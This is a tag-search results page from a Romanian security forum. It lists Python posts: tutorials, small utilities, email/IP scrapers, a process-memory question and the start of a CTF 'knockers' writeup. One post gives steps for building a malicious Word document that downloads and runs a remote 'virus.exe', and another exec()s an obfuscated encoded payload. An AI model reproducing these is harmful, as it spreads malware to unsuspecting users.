Jump to content

Search the Community

Showing results for tags 'python'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

  1. Neata. address = 0x0018FB54 address = address + 0x14 address = address + 0x0 address = address + 0x7 ReadProcessMemory(processHandle, address, buffer, bufferSize, byref(bytesRead)) Se rupe filmul la acel "0x0" , prin urmare nu reusesc sa completez pointerul. Am luat la puricat documentatia python cat mi-a permis experienta pana in prezent, am rupt stackoverflow, am cautat si pe rst si nu gasesc un exemplu viabil sa accesez un amarat de pointer. Am invartit variabila aia de am innebunit, de ieri ma chinui intruna. Am luat cateva snipetturi de cod C++ si le-am transcris in python insa nu faceau obiectul problemei prezentate mai sus, ci ma aducea intr-un punct in care am mai fost, sa inaintez cu 2-3 offset-uri asta daca vreun offset nu echivala cu decimal mai mare de 99 (de ex am avut offset +444 (1BCh) si iar s-a rupt filmul ca la 0x0, nu schimba cu nimic rezultatul final oricate offset-uri ii mai adaugam dupa acel +444. Provocarea principala este ca vreau sa pot manevra un proces la fel de usor si rapid prin cod Python nu C++ (am fix pe creier) si inafara de impedimente de astea stupide nu am avut nici o dilema pana in prezent care sa ma retina mai mult de 6-7 ore pana sa gasesc o rezolvare. Sistem de operare: Windows 7 x64 Aplicatiile pe care exersez: x32 Multumesc anticipat.
  2. This article applies to Python 2.7 specifically, but should be applicable to Python 2.x. Python 2.7 is reaching end of life and will stop being maintained in 2020, it is though recommended to start learning Python with Python 3. # Single line comments start with a number symbol. """ Multiline strings can be written using three "s, and are often used as comments """ #################################################### # 1. Primitive Datatypes and Operators #################################################### # You have numbers 3 # => 3 # Math is what you would expect 1 + 1 # => 2 8 - 1 # => 7 10 * 2 # => 20 35 / 5 # => 7 # Division is a bit tricky. It is integer division and floors the results # automatically. 5 / 2 # => 2 # To fix division we need to learn about floats. 2.0 # This is a float 11.0 / 4.0 # => 2.75 ahhh...much better # Result of integer division truncated down both for positive and negative. 5 // 3 # => 1 5.0 // 3.0 # => 1.0 # works on floats too -5 // 3 # => -2 -5.0 // 3.0 # => -2.0 # Note that we can also import division module(Section 6 Modules) # to carry out normal division with just one '/'. from __future__ import division 11 / 4 # => 2.75 ...normal division 11 // 4 # => 2 ...floored division # Modulo operation 7 % 3 # => 1 # Exponentiation (x to the yth power) 2 ** 4 # => 16 # Enforce precedence with parentheses (1 + 3) * 2 # => 8 # Boolean Operators # Note "and" and "or" are case-sensitive True and False # => False False or True # => True # Note using Bool operators with ints 0 and 2 # => 0 -5 or 0 # => -5 0 == False # => True 2 == True # => False 1 == True # => True # negate with not not True # => False not False # => True # Equality is == 1 == 1 # => True 2 == 1 # => False # Inequality is != 1 != 1 # => False 2 != 1 # => True # More comparisons 1 < 10 # => True 1 > 10 # => False 2 <= 2 # => True 2 >= 2 # => True # Comparisons can be chained! 1 < 2 < 3 # => True 2 < 3 < 2 # => False # Strings are created with " or ' "This is a string." 'This is also a string.' # Strings can be added too! "Hello " + "world!" # => "Hello world!" # Strings can be added without using '+' "Hello " "world!" # => "Hello world!" # ... or multiplied "Hello" * 3 # => "HelloHelloHello" # A string can be treated like a list of characters "This is a string"[0] # => 'T' # You can find the length of a string len("This is a string") # => 16 # String formatting with % # Even though the % string operator will be deprecated on Python 3.1 and removed # later at some time, it may still be good to know how it works. x = 'apple' y = 'lemon' z = "The items in the basket are %s and %s" % (x, y) # A newer way to format strings is the format method. # This method is the preferred way "{} is a {}".format("This", "placeholder") "{0} can be {1}".format("strings", "formatted") # You can use keywords if you don't want to count. "{name} wants to eat {food}".format(name="Bob", food="lasagna") # None is an object None # => None # Don't use the equality "==" symbol to compare objects to None # Use "is" instead "etc" is None # => False None is None # => True # The 'is' operator tests for object identity. This isn't # very useful when dealing with primitive values, but is # very useful when dealing with objects. # Any object can be used in a Boolean context. # The following values are considered falsey: # - None # - zero of any numeric type (e.g., 0, 0L, 0.0, 0j) # - empty sequences (e.g., '', (), []) # - empty containers (e.g., {}, set()) # - instances of user-defined classes meeting certain conditions # see: https://docs.python.org/2/reference/datamodel.html#object.__nonzero__ # # All other values are truthy (using the bool() function on them returns True). bool(0) # => False bool("") # => False #################################################### # 2. Variables and Collections #################################################### # Python has a print statement print "I'm Python. Nice to meet you!" # => I'm Python. Nice to meet you! # Simple way to get input data from console input_string_var = raw_input( "Enter some data: ") # Returns the data as a string input_var = input("Enter some data: ") # Evaluates the data as python code # Warning: Caution is recommended for input() method usage # Note: In python 3, input() is deprecated and raw_input() is renamed to input() # No need to declare variables before assigning to them. some_var = 5 # Convention is to use lower_case_with_underscores some_var # => 5 # Accessing a previously unassigned variable is an exception. # See Control Flow to learn more about exception handling. some_other_var # Raises a name error # if can be used as an expression # Equivalent of C's '?:' ternary operator "yahoo!" if 3 > 2 else 2 # => "yahoo!" # Lists store sequences li = [] # You can start with a prefilled list other_li = [4, 5, 6] # Add stuff to the end of a list with append li.append(1) # li is now [1] li.append(2) # li is now [1, 2] li.append(4) # li is now [1, 2, 4] li.append(3) # li is now [1, 2, 4, 3] # Remove from the end with pop li.pop() # => 3 and li is now [1, 2, 4] # Let's put it back li.append(3) # li is now [1, 2, 4, 3] again. # Access a list like you would any array li[0] # => 1 # Assign new values to indexes that have already been initialized with = li[0] = 42 li[0] # => 42 li[0] = 1 # Note: setting it back to the original value # Look at the last element li[-1] # => 3 # Looking out of bounds is an IndexError li[4] # Raises an IndexError # You can look at ranges with slice syntax. # (It's a closed/open range for you mathy types.) li[1:3] # => [2, 4] # Omit the beginning li[2:] # => [4, 3] # Omit the end li[:3] # => [1, 2, 4] # Select every second entry li[::2] # =>[1, 4] # Reverse a copy of the list li[::-1] # => [3, 4, 2, 1] # Use any combination of these to make advanced slices # li[start:end:step] # Remove arbitrary elements from a list with "del" del li[2] # li is now [1, 2, 3] # You can add lists li + other_li # => [1, 2, 3, 4, 5, 6] # Note: values for li and for other_li are not modified. # Concatenate lists with "extend()" li.extend(other_li) # Now li is [1, 2, 3, 4, 5, 6] # Remove first occurrence of a value li.remove(2) # li is now [1, 3, 4, 5, 6] li.remove(2) # Raises a ValueError as 2 is not in the list # Insert an element at a specific index li.insert(1, 2) # li is now [1, 2, 3, 4, 5, 6] again # Get the index of the first item found li.index(2) # => 1 li.index(7) # Raises a ValueError as 7 is not in the list # Check for existence in a list with "in" 1 in li # => True # Examine the length with "len()" len(li) # => 6 # Tuples are like lists but are immutable. tup = (1, 2, 3) tup[0] # => 1 tup[0] = 3 # Raises a TypeError # You can do all those list thingies on tuples too len(tup) # => 3 tup + (4, 5, 6) # => (1, 2, 3, 4, 5, 6) tup[:2] # => (1, 2) 2 in tup # => True # You can unpack tuples (or lists) into variables a, b, c = (1, 2, 3) # a is now 1, b is now 2 and c is now 3 d, e, f = 4, 5, 6 # you can leave out the parentheses # Tuples are created by default if you leave out the parentheses g = 4, 5, 6 # => (4, 5, 6) # Now look how easy it is to swap two values e, d = d, e # d is now 5 and e is now 4 # Dictionaries store mappings empty_dict = {} # Here is a prefilled dictionary filled_dict = {"one": 1, "two": 2, "three": 3} # Look up values with [] filled_dict["one"] # => 1 # Get all keys as a list with "keys()" filled_dict.keys() # => ["three", "two", "one"] # Note - Dictionary key ordering is not guaranteed. # Your results might not match this exactly. # Get all values as a list with "values()" filled_dict.values() # => [3, 2, 1] # Note - Same as above regarding key ordering. # Get all key-value pairs as a list of tuples with "items()" filled_dicts.items() # => [("one", 1), ("two", 2), ("three", 3)] # Check for existence of keys in a dictionary with "in" "one" in filled_dict # => True 1 in filled_dict # => False # Looking up a non-existing key is a KeyError filled_dict["four"] # KeyError # Use "get()" method to avoid the KeyError filled_dict.get("one") # => 1 filled_dict.get("four") # => None # The get method supports a default argument when the value is missing filled_dict.get("one", 4) # => 1 filled_dict.get("four", 4) # => 4 # note that filled_dict.get("four") is still => None # (get doesn't set the value in the dictionary) # set the value of a key with a syntax similar to lists filled_dict["four"] = 4 # now, filled_dict["four"] => 4 # "setdefault()" inserts into a dictionary only if the given key isn't present filled_dict.setdefault("five", 5) # filled_dict["five"] is set to 5 filled_dict.setdefault("five", 6) # filled_dict["five"] is still 5 # Sets store ... well sets (which are like lists but can contain no duplicates) empty_set = set() # Initialize a "set()" with a bunch of values some_set = set([1, 2, 2, 3, 4]) # some_set is now set([1, 2, 3, 4]) # order is not guaranteed, even though it may sometimes look sorted another_set = set([4, 3, 2, 2, 1]) # another_set is now set([1, 2, 3, 4]) # Since Python 2.7, {} can be used to declare a set filled_set = {1, 2, 2, 3, 4} # => {1, 2, 3, 4} # Add more items to a set filled_set.add(5) # filled_set is now {1, 2, 3, 4, 5} # Do set intersection with & other_set = {3, 4, 5, 6} filled_set & other_set # => {3, 4, 5} # Do set union with | filled_set | other_set # => {1, 2, 3, 4, 5, 6} # Do set difference with - {1, 2, 3, 4} - {2, 3, 5} # => {1, 4} # Do set symmetric difference with ^ {1, 2, 3, 4} ^ {2, 3, 5} # => {1, 4, 5} # Check if set on the left is a superset of set on the right {1, 2} >= {1, 2, 3} # => False # Check if set on the left is a subset of set on the right {1, 2} <= {1, 2, 3} # => True # Check for existence in a set with in 2 in filled_set # => True 10 in filled_set # => False #################################################### # 3. Control Flow #################################################### # Let's just make a variable some_var = 5 # Here is an if statement. Indentation is significant in python! # prints "some_var is smaller than 10" if some_var > 10: print "some_var is totally bigger than 10." elif some_var < 10: # This elif clause is optional. print "some_var is smaller than 10." else: # This is optional too. print "some_var is indeed 10." """ For loops iterate over lists prints: dog is a mammal cat is a mammal mouse is a mammal """ for animal in ["dog", "cat", "mouse"]: # You can use {0} to interpolate formatted strings. (See above.) print "{0} is a mammal".format(animal) """ "range(number)" returns a list of numbers from zero to the given number prints: 0 1 2 3 """ for i in range(4): print i """ "range(lower, upper)" returns a list of numbers from the lower number to the upper number prints: 4 5 6 7 """ for i in range(4, 8): print i """ While loops go until a condition is no longer met. prints: 0 1 2 3 """ x = 0 while x < 4: print x x += 1 # Shorthand for x = x + 1 # Handle exceptions with a try/except block # Works on Python 2.6 and up: try: # Use "raise" to raise an error raise IndexError("This is an index error") except IndexError as e: pass # Pass is just a no-op. Usually you would do recovery here. except (TypeError, NameError): pass # Multiple exceptions can be handled together, if required. else: # Optional clause to the try/except block. Must follow all except blocks print "All good!" # Runs only if the code in try raises no exceptions finally: # Execute under all circumstances print "We can clean up resources here" # Instead of try/finally to cleanup resources you can use a with statement with open("myfile.txt") as f: for line in f: print line #################################################### # 4. Functions #################################################### # Use "def" to create new functions def add(x, y): print "x is {0} and y is {1}".format(x, y) return x + y # Return values with a return statement # Calling functions with parameters add(5, 6) # => prints out "x is 5 and y is 6" and returns 11 # Another way to call functions is with keyword arguments add(y=6, x=5) # Keyword arguments can arrive in any order. # You can define functions that take a variable number of # positional args, which will be interpreted as a tuple by using * def varargs(*args): return args varargs(1, 2, 3) # => (1, 2, 3) # You can define functions that take a variable number of # keyword args, as well, which will be interpreted as a dict by using ** def keyword_args(**kwargs): return kwargs # Let's call it to see what happens keyword_args(big="foot", loch="ness") # => {"big": "foot", "loch": "ness"} # You can do both at once, if you like def all_the_args(*args, **kwargs): print args print kwargs """ all_the_args(1, 2, a=3, b=4) prints: (1, 2) {"a": 3, "b": 4} """ # When calling functions, you can do the opposite of args/kwargs! # Use * to expand positional args and use ** to expand keyword args. args = (1, 2, 3, 4) kwargs = {"a": 3, "b": 4} all_the_args(*args) # equivalent to foo(1, 2, 3, 4) all_the_args(**kwargs) # equivalent to foo(a=3, b=4) all_the_args(*args, **kwargs) # equivalent to foo(1, 2, 3, 4, a=3, b=4) # you can pass args and kwargs along to other functions that take args/kwargs # by expanding them with * and ** respectively def pass_all_the_args(*args, **kwargs): all_the_args(*args, **kwargs) print varargs(*args) print keyword_args(**kwargs) # Function Scope x = 5 def set_x(num): # Local var x not the same as global variable x x = num # => 43 print x # => 43 def set_global_x(num): global x print x # => 5 x = num # global var x is now set to 6 print x # => 6 set_x(43) set_global_x(6) # Python has first class functions def create_adder(x): def adder(y): return x + y return adder add_10 = create_adder(10) add_10(3) # => 13 # There are also anonymous functions (lambda x: x > 2)(3) # => True (lambda x, y: x ** 2 + y ** 2)(2, 1) # => 5 # There are built-in higher order functions map(add_10, [1, 2, 3]) # => [11, 12, 13] map(max, [1, 2, 3], [4, 2, 1]) # => [4, 2, 3] filter(lambda x: x > 5, [3, 4, 5, 6, 7]) # => [6, 7] # We can use list comprehensions for nice maps and filters [add_10(i) for i in [1, 2, 3]] # => [11, 12, 13] [x for x in [3, 4, 5, 6, 7] if x > 5] # => [6, 7] # You can construct set and dict comprehensions as well. {x for x in 'abcddeef' if x in 'abc'} # => {'a', 'b', 'c'} {x: x ** 2 for x in range(5)} # => {0: 0, 1: 1, 2: 4, 3: 9, 4: 16} #################################################### # 5. Classes #################################################### # We subclass from object to get a class. class Human(object): # A class attribute. It is shared by all instances of this class species = "H. sapiens" # Basic initializer, this is called when this class is instantiated. # Note that the double leading and trailing underscores denote objects # or attributes that are used by python but that live in user-controlled # namespaces. You should not invent such names on your own. def __init__(self, name): # Assign the argument to the instance's name attribute self.name = name # Initialize property self.age = 0 # An instance method. All methods take "self" as the first argument def say(self, msg): return "{0}: {1}".format(self.name, msg) # A class method is shared among all instances # They are called with the calling class as the first argument @classmethod def get_species(cls): return cls.species # A static method is called without a class or instance reference @staticmethod def grunt(): return "*grunt*" # A property is just like a getter. # It turns the method age() into an read-only attribute # of the same name. @property def age(self): return self._age # This allows the property to be set @age.setter def age(self, age): self._age = age # This allows the property to be deleted @age.deleter def age(self): del self._age # Instantiate a class i = Human(name="Ian") print i.say("hi") # prints out "Ian: hi" j = Human("Joel") print j.say("hello") # prints out "Joel: hello" # Call our class method i.get_species() # => "H. sapiens" # Change the shared attribute Human.species = "H. neanderthalensis" i.get_species() # => "H. neanderthalensis" j.get_species() # => "H. neanderthalensis" # Call the static method Human.grunt() # => "*grunt*" # Update the property i.age = 42 # Get the property i.age # => 42 # Delete the property del i.age i.age # => raises an AttributeError #################################################### # 6. Modules #################################################### # You can import modules import math print math.sqrt(16) # => 4 # You can get specific functions from a module from math import ceil, floor print ceil(3.7) # => 4.0 print floor(3.7) # => 3.0 # You can import all functions from a module. # Warning: this is not recommended from math import * # You can shorten module names import math as m math.sqrt(16) == m.sqrt(16) # => True # you can also test that the functions are equivalent from math import sqrt math.sqrt == m.sqrt == sqrt # => True # Python modules are just ordinary python files. You # can write your own, and import them. The name of the # module is the same as the name of the file. # You can find out which functions and attributes # defines a module. import math dir(math) # If you have a Python script named math.py in the same # folder as your current script, the file math.py will # be loaded instead of the built-in Python module. # This happens because the local folder has priority # over Python's built-in libraries. #################################################### # 7. Advanced #################################################### # Generators # A generator "generates" values as they are requested instead of storing # everything up front # The following method (*NOT* a generator) will double all values and store it # in `double_arr`. For large size of iterables, that might get huge! def double_numbers(iterable): double_arr = [] for i in iterable: double_arr.append(i + i) return double_arr # Running the following would mean we'll double all values first and return all # of them back to be checked by our condition for value in double_numbers(range(1000000)): # `test_non_generator` print value if value > 5: break # We could instead use a generator to "generate" the doubled value as the item # is being requested def double_numbers_generator(iterable): for i in iterable: yield i + i # Running the same code as before, but with a generator, now allows us to iterate # over the values and doubling them one by one as they are being consumed by # our logic. Hence as soon as we see a value > 5, we break out of the # loop and don't need to double most of the values sent in (MUCH FASTER!) for value in double_numbers_generator(xrange(1000000)): # `test_generator` print value if value > 5: break # BTW: did you notice the use of `range` in `test_non_generator` and `xrange` in `test_generator`? # Just as `double_numbers_generator` is the generator version of `double_numbers` # We have `xrange` as the generator version of `range` # `range` would return back and array with 1000000 values for us to use # `xrange` would generate 1000000 values for us as we request / iterate over those items # Just as you can create a list comprehension, you can create generator # comprehensions as well. values = (-x for x in [1, 2, 3, 4, 5]) for x in values: print(x) # prints -1 -2 -3 -4 -5 to console/terminal # You can also cast a generator comprehension directly to a list. values = (-x for x in [1, 2, 3, 4, 5]) gen_to_list = list(values) print(gen_to_list) # => [-1, -2, -3, -4, -5] # Decorators # A decorator is a higher order function, which accepts and returns a function. # Simple usage example – add_apples decorator will add 'Apple' element into # fruits list returned by get_fruits target function. def add_apples(func): def get_fruits(): fruits = func() fruits.append('Apple') return fruits return get_fruits @add_apples def get_fruits(): return ['Banana', 'Mango', 'Orange'] # Prints out the list of fruits with 'Apple' element in it: # Banana, Mango, Orange, Apple print ', '.join(get_fruits()) # in this example beg wraps say # Beg will call say. If say_please is True then it will change the returned # message from functools import wraps def beg(target_function): @wraps(target_function) def wrapper(*args, **kwargs): msg, say_please = target_function(*args, **kwargs) if say_please: return "{} {}".format(msg, "Please! I am poor :(") return msg return wrapper @beg def say(say_please=False): msg = "Can you buy me a beer?" return msg, say_please print say() # Can you buy me a beer? print say(say_please=True) # Can you buy me a beer? Please! I am poor :( Sursa: https://learnxinyminutes.com/docs/python/
  3. salut, am urmatoarea bucata de cod Java pe care nu stiu daca o inteleg perfect si ca sa fie si mai rau am nevoie sa scriu ceva cu aceeasi functionalitate in Python: "rs", "CEVA" si "ALTCEVA" sunt niste variabile care vin de mai sus din script.... Inflater inflater = new Inflater(); byte[] result = new byte[rs.getInt("CEVA")]; inflater.setInput(rs.getBytes("ALTCEVA")); int length = inflater.inflate(result); System.out.println(new String(result, 0, length, "UTF-8")); System.out.println(); System.out.println("-----"); System.out.println(); inflater.end(); aveti idee cum pot scrie ceva cu aceeasi functionalitate in Python? exista vreo librarie in Pyton care face ce face acel Inflater in Java? (am cautat pe net si am vazut raspunsurile de pe stackoverflow dar probabil sunt prea prost sa le inteleg) ma poate ajuta cineva cu un exemplu ceva in Python despre cum as putea realiza asta? multumesc,
  4. Un mic programel pentru a cauta in toate sub-directoarele dintr-un director dat o anumita fraza/cuvant: from os import walk from os.path import join import argparse def get_files(base_path, extension=None): for dirpath, _, filenames in walk(base_path): for filename in filenames: if filename.endswith(extension): yield join(dirpath, filename) def search_sentence_in_files(files, sentence): for filepath in files: with open(filepath) as fp: for line_number, line in enumerate(fp): if sentence in line: yield filepath, line_number, line.strip() def main(files, sentence): results = search_sentence_in_files(files, sentence) for filepath, line, content in results: print('[# FILE PATH #] {} ...'.format(filepath)) print('[# LINE NUMBER #] At line {}'.format(line)) print('[# LINE CONTENT #] Content: {}'.format(content)) print('-' * 80) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Search text in files') parser.add_argument('sentence') parser.add_argument('-p', '--basepath', help='folder in wich files will be examinated', default=r'default_path') parser.add_argument('-e', '--extension', help='extension of files to examine', default='.txt') args = parser.parse_args() files = get_files(args.basepath, args.extension) main(files, args.sentence) Poate fi rulat cu Python 2.x/3.x. Poate primi ca argumente: - cuvantul / fraza dorita - basepath (in ce director sa caute) - extensia fisierelor in care doriti sa cautati fraza / cuvantul dorit. De adaugat: - indexare - regex functionality Enjoy
  5. Din pricina faptului ca nu am gasit prea multe exemple pe internet, si eram curios daca poti rula cod python obfuscated pentru ca cere indentare, am scris script-ul asta inspirandu-ma de aici. Folosind aceasta metoda este posibil sa stochezi codul si intr-o baza de date. import base64 def encode(key, string): encoded_chars = [] for i in xrange(len(string)): key_c = key[i % len(key)] encoded_c = chr(ord(string[i]) + ord(key_c) % 256) encoded_chars.append(encoded_c) encoded_string = "".join(encoded_chars) return base64.urlsafe_b64encode(encoded_string) def decode(key, string): decoded_chars = [] decoded_string = base64.b64decode(string, '-_') for i in xrange(len(decoded_string)): key_c = key[i % len(key)] decoded_c = chr(ord(decoded_string[i]) - ord(key_c) % 256) decoded_chars.append(decoded_c) decoded_string = "".join(decoded_chars) return decoded_string creator = "yo20063" code = "g9ubo6SXU7bKVHiZYlObm1JSeV2gm5tSV5-Yme7ilZGkm5ealo86lqWlmdhSmZ5Wn-LippFqQFOZj1Kgop-h7Y-b" if __name__ == "__main__": exec(decode(creator, code))
  6. Python 2.7 - Requests - lxml.html - libnotify *Merge doar pe linux Apare notificare cand se posteaza ceva topic nou pe rst SOURCECODE: https://github.com/pukapy/newsRST
  7. Am avut nevoie sa gasesc repede link-uri directe la aproape 50 de carti dupa amazon asa ca am scris 10 linii de cod si gata. Requirements: Python 2.7 pip install google googlesearch.py from google import search from time import sleep import sys def direct_search(title, ext, multi='off'): print title sleep(2) for url in search(title + ' ' + ext, stop=10): if (url.endswith('.pdf')): print url if (multi == 'off'): break if __name__ == "__main__": if (len(sys.argv) < 4): print 'usage: ./%s file.txt format multi=\'on/off\'' % sys.argv[0] print 'ex. : ./%s book-titles.txt pdf off' % sys.argv[0] else: with open(sys.argv[1], 'r') as file: for line in file: line = line.rstrip() links = direct_search(line, sys.argv[2], sys.argv[3]) if not line: continue file.close() Se foloseste in urmatorul fel: Creati un fisier si puneti in el numele de la carti listate unu sub celalt in urmatorul fel: fisier.txt Test-Driven Development with Python Fluent Python 1st Edition Foundations of Python Network Programming 3rd edition Python Network Programming Cookbook Si apoi rulati applicatia cu: ./googlesearch.py fisier.txt mp4 off daca vreti sa salvati linkurile intrun fisier: ./googlesearch.py fisier.txt mp4 off > urls.txt In caz ca nu va da rezultate incercati sa schimbati stop cu o valuare mai mare de 40.
  8. grabbit.py Python script for grabbing email or IP addresses (optional with port) from a given file. Installation Clone the github repo git clone https://github.com/vlad-s/grabbit Usage """ grabbit.py grabs email/ip(:port) strings from a given file """ from __future__ import print_function # pylint needs this for py3k from socket import inet_aton # non regex ip validation from os import access, R_OK # file access validation from sys import stdout # write to stdout if no file specified import re import argparse __author__ = "Vlad <vlad at vlads dot me>" __version__ = "0.1" __license__ = "GPL v3" __description__ = "python script for grabbing email or ip addresses \ (optional with port) from a given file. " PARSER = argparse.ArgumentParser(description=__description__) GROUP = PARSER.add_mutually_exclusive_group() GROUP.add_argument('--email', help='match an email address', action='store_true') GROUP.add_argument('--ip', help='match an ip address', action='store_true') GROUP.add_argument('--ip-port', help='match an ip:port', action='store_true') PARSER.add_argument('-s', '--separator', help='separator used when data is \ column separated using one or more characters') PARSER.add_argument('-w', '--write', help='file to write in (default stdout)') PARSER.add_argument('file', help='the file to look in') ARGS = PARSER.parse_args() if not (ARGS.email or ARGS.ip or ARGS.ip_port): print("You have to select an option.") exit(1) if not access(ARGS.file, R_OK): print("Can't open the file, exiting.") exit(1) if ARGS.write is not None: try: OUT = open(ARGS.write, 'w') except OSError: print("Can't write to file, permission error, exiting.") exit(1) else: OUT = stdout if ARGS.separator is not None: SEP = ARGS.separator.encode('utf-8').decode('unicode_escape') else: SEP = None VALIDMAIL = re.compile(r'^[^@ ]+@[^@]+\.[^@]+$') def is_valid_ip(ip_address): """ Returns the validity of an IP address """ if not re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', ip_address): return False # first we need a valid ip form try: inet_aton(ip_address) # check if it's a valid ip address except OSError: return False return True for line in open(ARGS.file, 'rb'): line = line.strip().split(SEP.encode('utf-8')) if ARGS.email: found = [OUT.write(s.decode('utf-8') + '\n') for i, s in enumerate(line) if VALIDMAIL.match(s.decode('utf-8'))] OUT.flush() else: for string in line: string = string.decode('utf-8') if ARGS.ip_port and len(string.split(':')) == 2: # IP:Port ip, port = string.split(':') if is_valid_ip(ip) and 0 < int(port) < 65535: OUT.write('{}:{}\n'.format(ip, port)) OUT.flush() elif ARGS.ip: if is_valid_ip(string): OUT.write(string + '\n') OUT.flush() Source (w/ shameful advertising): https://github.com/vlad-s/grabbit
  9. Buna! Am tot cautat pe forumuri o solutie pentru a extrage email-uri dintr-un fisier text. Programelul l-am scris in python si am folosit regular expresions (Regex). Reusesc sa extrag doar email-uri care nu contin spatii, dar nu am reusit sa extrag un email de genul: name2 @ email . com Am nevoie de codul care extrage emailul gasit scris atat corect (fara spatii) cat si cu spatii (cum am exemplificat mai sus). Pun mai jos exemplu de fisier text si codul pe care l-am scris: xxx test1@gmail.com xxxx xxxxxxxx xxx test2 @ email . com xxx xxxxxxx xxx name1.name2.mm@email.co.uk xxx xxxxxxxxxxx Codul: import re a = open('emails.txt') for line in a: line = line.rstrip() if re.search(r'[\w.-]+@[\w.-]+',line): z = re.findall(r'[\w.-]+@[\w.-]+',line) print (z[0]) Returneaza doar: test1@gmail.com name1.name2.mm@email.co.uk
  10. Download Python Once finished installing python open cmd and cd to the folder. Type fuddoc12ve3.exe anynameyouwant.doc h t t p: // site. com/ virus. exe Silent doc.zip — RGhost — file sharing + test** test.doc — RGhost — file sharing ** inside test.doc "shutdown -s -t 20000" Sursa: HF
  11. "Cautatoru de chilipiruri" tine evidenta preturilor scazute de pe Produse Resigilate Pret asc - eMAG.ro si in cazul in care apare vreun produs sub pretul specificat de tine in setari (Default: 25 RON), iti va trimite un email pentru a te atentiona de aparitia acelui produs: Scriptul a fost testat folosind serverul smtp oferit de inbox.com (moka), default cauta din 10 in 10 minute #!/usr/bin/env python import smtplib import urllib2 import random import re import time #panou de configurare email = "" #unde vrei sa primesti ofertele smtp = "my.inbox.com" loginuser = "@inbox.com" loginpass = "" chilipir = 25 #pretul(ron) sub care sunteti anuntat interval_timp_cautare = 600 # in secunde print r""" #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#\ #.........RSTforums.com........#-\ #.............Usr6.............#--\/ #...Cautatoru de chilipiruri...#--/\ #..............................#-/ #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#/ """ def email_sender(TEXT): #print TEXT message = 'To:' + email + '\n' + 'From: ' + loginuser + '\n' + 'Subject:Chilipir \n\n' + TEXT server = smtplib.SMTP(smtp, 587) server.login(loginuser, loginpass ) server.sendmail(loginuser, email, message) server.quit() print "Oferta a fost expediata" return expediate = [] while True : expediat = "" random_nr = str(random.randint(10**16,99999999999999999)) ua = "Opera/%s.%s (Windows NT %s.%s) Presto/%s.%s.%s Version/%s.%s" \ %(random_nr[0], random_nr[1:3], random_nr[4], random_nr[5], random_nr[6], random_nr[7:9], random_nr[10:13], random_nr[13:15], random_nr[15:17]) try: site = "http://www.emag.ro/resigilate/sort-priceasc" req = urllib2.Request(site, None, {'User-Agent' : ua}) continut = urllib2.urlopen(req, timeout=30).read() match = re.findall('\"money-int\"\>(\d*)\<\/span\>\<sup class=\"money-decimal\"\>\d*.+\n.+\t+.+\n\t.+\n.+\n.+\<a href=\"(.+#resigilate)"',continut) for every in match: pret, link = every if int(pret) <= chilipir: link = "http://www.emag.ro" + link unic = str(pret) + link if unic not in expediate: expediat += str(pret) + "\t" + link +"\n" expediate.append(unic) except Exception as E: email_sender(str(E)) if len(expediat) >= 1: email_sender(expediat) time.sleep(interval_timp_cautare) print time.strftime("%c"), "nimic nou" exit()
  12. Cel mai bun tutorial pe care l-am citit so far. Give it a try: Spolier: So Everything Has A Class? class Customer(object): """A customer of ABC Bank with a checking account. Customers have the following properties: Attributes: name: A string representing the customer's name. balance: A float tracking the current balance of the customer's account. """ def __init__(self, name, balance=0.0): """Return a Customer object whose name is *name* and starting balance is *balance*.""" self.name = name self.balance = balance def withdraw(self, amount): """Return the balance remaining after withdrawing *amount* dollars.""" if amount > self.balance: raise RuntimeError('Amount greater than available balance.') self.balance -= amount return self.balance def deposit(self, amount): """Return the balance remaining after depositing *amount* dollars.""" self.balance += amount return self.balance
  13. Luat de pe un forum privat din afara. Facut in Python, primul argument e site-ul. Scoate userul si parola lui hashed. Usage: wp4.2.2_0day.pyc site // FAKE
  14. Este un Admin page finder facut in python. Sursa nu este in totalitate a mea asa ca nu vreau comentarii rautacioase. M-am gandit sa il postez deoarece unora chiar le poate fi de ajutor. PS: Scuze pentru exemplul de site dar altceva nu mi-a venit in minte decat site-ul lui Viorel Download LINK : Download ADMIN PAGE FINDER By Cyb3rGhost
  15. As many of you know, last weekend was Ghost in the Shellcode 2015! There were plenty of fun challenges, and as always I had a great time competing! This will be my first of four writeups, and will be pretty simple (since it simply required me to use a tool that already exists (and that I wrote) The level was called "knockers". It's a simple python script that listens on an IPv6 UDP port and, if it gets an appropriately signed request, opens one or more other ports. The specific challenge gave you a signed token to open port 80, and challenged you to open up port 7175. The service itself listened on port 8008 ("BOOB", to go with the "knockers" name). You can download the original level here (Python). # python2 pleaseimport sys import struct import hashlib import os from binascii import hexlify, unhexlify import SocketServer import socket try: from fw import allow except ImportError: def allow(ip,port): print 'allowing host ' + ip + ' on port ' + str(port) PORT = 8008 g_h = hashlib.sha512 g_key = None def generate_token(h, k, *pl): m = struct.pack('!'+'H'*len(pl), *pl) mac = h(k+m).digest() return mac + m def parse_and_verify(h, k, m): ds = h().digest_size if len(m) < ds: return None mac = m[:ds] msg = m[ds:] if h(k+msg).digest() != mac: return None port_list = [] for i in range(0,len(msg),2): if i+1 >= len(msg): break port_list.append(struct.unpack_from('!H', msg, i)[0]) return port_list class KnockersRequestHandler(SocketServer.BaseRequestHandler): def 